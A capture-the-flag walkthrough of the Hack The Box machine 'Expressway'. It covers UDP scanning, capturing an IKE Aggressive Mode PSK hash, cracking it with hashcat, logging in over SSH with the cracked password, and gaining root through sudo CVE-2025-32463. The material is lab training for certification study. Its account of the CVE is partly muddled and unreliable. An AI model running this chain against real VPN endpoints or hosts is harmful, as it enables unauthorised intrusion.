HTB Expressway might be tagged as a beginner-friendly Linux machine, but I’m going to stop you right therem do not let that label fool you into casually skimming through your enumeration phase. The entire attack chain on this box literally lives or dies based on one single decision you make during recon: remembering to scan UDP.

If you miss that step, you are going to find yourself staring blankly at a locked SSH port, wondering if you accidentally spawned the wrong machine. 

But if you get it right, a surprisingly clean, logical exploitation path opens right up, covering IKE/IPSec VPN abuse, pre-shared key cracking, and a very slick hostname-based sudo privilege escalation via CVE-2025-32463.

What makes Expressway genuinely useful for your certification prep is that it doesn't rely on frustrating, obscure CTF tricks.

Every single step follows a logical, repeatable chain: the protocol tells you exactly what to try, the configuration tells you it's misconfigured, and the version number tells you it's vulnerable. That is a highly transferable pattern you will apply on real-world assessments, not just in this sandbox. Let’s break it down.

Get this writeup as a stylish cheat sheet

Simply download the Zip file and open the cheat sheet in your browser !

https://drive.google.com/file/d/1yF5Azzdm2EOSnHiqtUB27D4MOmttoxjQ/view?usp=drive_link

1. Recon 

The standard two-phase Nmap approach absolutely applies here, but the interesting signal actually comes from what is missing on TCP, not what is present.

The standard two-phase Nmap approach absolutely applies here, but the interesting signal actually comes from what is missing on TCP, not what is present.

# Phase 1 — Full TCP port scan
sudo nmap -p- -vvv --min-rate 10000 <TARGET_IP>

# Phase 2 — Version and script scan on open ports
sudo nmap -p 22 -sCV <TARGET_IP>

Result:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 10.0p2 Debian 8 (protocol 2.0)

That's it. One single port. And I can tell you from experience, this is exactly the scenario where inexperienced practitioners stop, second-guess themselves, and reset the machine because they falsely assume a single open port means nothing interesting is running. That assumption is dead wrong, and Expressway is explicitly designed to test whether you've internalized the counter-habit.

When TCP gives you almost nothing, you must immediately pivot to UDP. Think about it: VPN services, DNS, DHCP, TFTP—these critical services all live on UDP, and they are completely invisible to a standard TCP scan. This is one of those mandatory heuristics you need to have locked in your brain before sitting for any serious certification exam.

# Top 25 UDP ports — fast and usually sufficient for initial triage
sudo nmap -sU -sV -T3 --top-ports 25 <TARGET_IP>

And there it is:

PORT    STATE SERVICE
500/udp open  isakmp

UDP port 500 running ISAKMP—the Internet Security Association and Key Management Protocol. This is the core handshake protocol behind IPSec VPN connections, and finding it open is a massive, very specific signal: there is a VPN endpoint here, it's actively negotiating via IKE (Internet Key Exchange), and it is absolutely worth probing hard.

Before moving forward, make sure to add the domain to your /etc/hosts:

echo "<TARGET_IP> expressway.htb" | sudo tee -a /etc/hosts

2. IKE Enumeration — Making the Service Talk

IKE operates in two distinct modes. Main Mode keeps the key exchange encrypted and safely protects identity information. Aggressive Mode, however, trades that security for speed—it sends identity information in cleartext and, critically for us, transmits a hash of the pre-shared key (PSK) right there during the handshake. That hash is capturable. And if the PSK is weak, it is entirely crackable offline.

Your weapon of choice here is ike-scan. Start with a standard Main Mode probe just to confirm the service is actually up and to grab the cipher suite details:

sudo ike-scan -M <TARGET_IP>

<TARGET_IP> Main Mode Handshake returned
    HDR=(CKY-R=...)
    SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
    VID=... (XAUTH)
    VID=... (Dead Peer Detection v1.0)

Seeing Auth=PSK in the SA parameters confirms this setup is using a pre-shared key for authentication. Now, you aggressively switch to Aggressive Mode and provide the identity you're targeting. The domain name ike@expressway.htb was leaked in the Main Mode response as an FQDN identity—so use it against them:

sudo ike-scan -M --aggressive <TARGET_IP> -n ike@expressway.htb --pskcrack=hash.txt

<TARGET_IP> Aggressive Mode Handshake returned
    HDR=(CKY-R=2db8f6ce7d1ae9ee)
    SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
    KeyExchange(128 bytes)
    Nonce(32 bytes)
    ID(Type=ID_USER_FQDN, Value=ike@expressway.htb)
    VID=09002689dfd6b712 (XAUTH)
    VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
    Hash(20 bytes)

That --pskcrack=hash.txt flag is the magic bullet; it instructs ike-scan to extract the PSK hash directly into a neat little file. That hash is now sitting in hash.txt, ready and waiting for offline cracking.

3. PSK Hash Cracking — Hashcat Mode 5400

The IKE PSK hash type maps perfectly to Hashcat mode 5400 (IKE-PSK SHA1). If you're only used to working with standard web application hashes, this might be a slightly less familiar format, but don't worry—the workflow is identical: hash file in, wordlist in, cracked password out.

hashcat -m 5400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

Hash.Mode........: 5400 (IKE-PSK SHA1)
Status...........: Cracked
Time.Started.....: ...
Speed.#1.........: 2068.3 kH/s
Progress.........: 8045568/14344385 (56.09%)
Recovered........: 1/1 (100.00%) Digests

Password: freakingrockstarontheroad

Alternatively, if you prefer, you can crack it directly using psk-crack straight from the ike-scan suite:

psk-crack -d /usr/share/wordlists/rockyou.txt hash.txt

Either way, that cracked PSK is now your user password. The logic here is a classic, undeniable pattern: VPN pre-shared keys are configured by lazy humans, humans love to reuse passwords, and application-layer credentials frequently bleed directly into OS-level authentication. Your rule of thumb? Always test discovered secrets against SSH immediately.

4. Initial Access — SSH with Cracked Credentials

ssh ike@expressway.htb
# Password: freakingrockstarontheroad

Last login: Thu Oct 9 18:40:37 BST 2025 from 10.10.14.126
Linux expressway.htb 6.16.7+deb14-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.16.7-1 (2025-09-11) x86_64
ike@expressway:~$

Boom. You're in. Now the real fun begins, because the privilege escalation phase on Expressway is genuinely interesting.

5. Privilege Escalation — Reading the Signals Before Pulling the Exploit

The absolute first thing you should run after landing any shell is sudo -l. What you get back here, however, is not your standard, run-of-the-mill sudoers denial message:

ike@expressway:~$ sudo -l
[sudo] password for ike:
Sorry, user ike may not run sudo on expressway.

That phrasing is highly non-standard. The normal message when a user simply isn't in the sudoers file looks completely different. A custom denial string like this strongly suggests the sudo binary itself may have been modified or completely replaced—and that is a massive red flag worth following immediately.

Let's check which sudo binary is actually being called:

which sudo
# /usr/local/bin/sudo

That's wrong. The system sudo lives at /usr/bin/sudo. Finding it casually sitting in /usr/local/bin/ means someone went out of their way to install a custom or manually compiled version, and because /usr/local/bin/ takes precedence in your $PATH, it's the one being executed. Now, you absolutely must check the version:

sudo --version

Sudo version 1.9.17
Sudoers policy plugin version 1.9.17
Sudoers file grammar version 50

Sudo 1.9.17 running from /usr/local/bin/—my friends, this is the exact version affected by CVE-2025-32463, a nasty privilege escalation vulnerability located in the chroot sudo plugin. This exploit allows a low-privilege user to entirely escape the chroot jail and obtain a full root shell through a flaw in how the sudo binary handles hostname-based sudoers rules.

The sudoers configuration on this specific machine is structured around a quirky hostname-based condition: our ike user is actually permitted to run commands as root on any host that is listed in the SERVERS alias, but not in the PROD alias. Since the current hostname (expressway.htb) is explicitly listed in the PROD alias, the rule blocks execution locally—but it will pass on any other recognized hostname.

To find valid alternative hostnames, you need to enumerate the filesystem:

grep -r --exclude-dir={proc,sys,dev} --color -H expressway / 2>/dev/null

This command cleverly surfaces references to hostnames defined in the SERVERS alias by digging through log files and configuration references scattered across the system. With a valid hostname firmly in hand, you can invoke the CVE-2025-32463 exploit, which abuses the chroot sudo capability to break out of the restricted execution context entirely:

# Download and execute the CVE-2025-32463 exploit
python3 cve-2025-32463.py

The exploit aggressively leverages sudo chroot to spawn a shell as root by constructing a minimal chroot environment that this vulnerable sudo version simply cannot properly contain. After execution:

root@expressway:~# id
uid=0(root) gid=0(root) groups=0(root)

Root. Machine complete.

The Attack Chain at a Glance

The Transferable Lessons

• UDP is not optional. I'll say it again: a scan that skips UDP isn't a scan—it's a guess. If TCP gives you next to nothing, your immediate next move is always UDP enumeration. This applies on your exams, in your labs, and out in the field on real engagements.

• Anomalies in tool output are findings. That non-standard sudo denial message? The binary sitting weirdly in /usr/local/bin/? Those aren't noise. They are the machine telling you exactly where to look. Train yourself to notice when something doesn't match the expected output pattern, because that gap is almost always where the vulnerability hides.

• Protocol-level misconfigurations are real and common. IKE Aggressive Mode paired with a weak PSK isn't just some CTF fiction—it is a very real misconfiguration that exists in production VPN deployments today. Understanding why it leaks the hash (the fundamental handshake structure of Aggressive Mode vs. Main Mode) means you'll recognize it in messy environments that don't announce themselves as practice machines.

• Version information always matters. The exact moment you see a non-standard binary path paired with a specific version number, your next move is CVE research. Not guessing, not randomly throwing exploits at the wall, but actually looking up that exact version against known vulnerability databases. That is the systematic, professional process this machine is drilling into you.

Expressway covers exactly the kind of protocol-level enumeration and sudo exploitation logic that appears heavily on the OSCP and CPTS exams. The IKE VPN chain, in particular, is a technique many candidates simply haven't practiced before hitting their exam, which makes Expressway genuinely valuable preparation territory, not just another box to blindly tick off your list.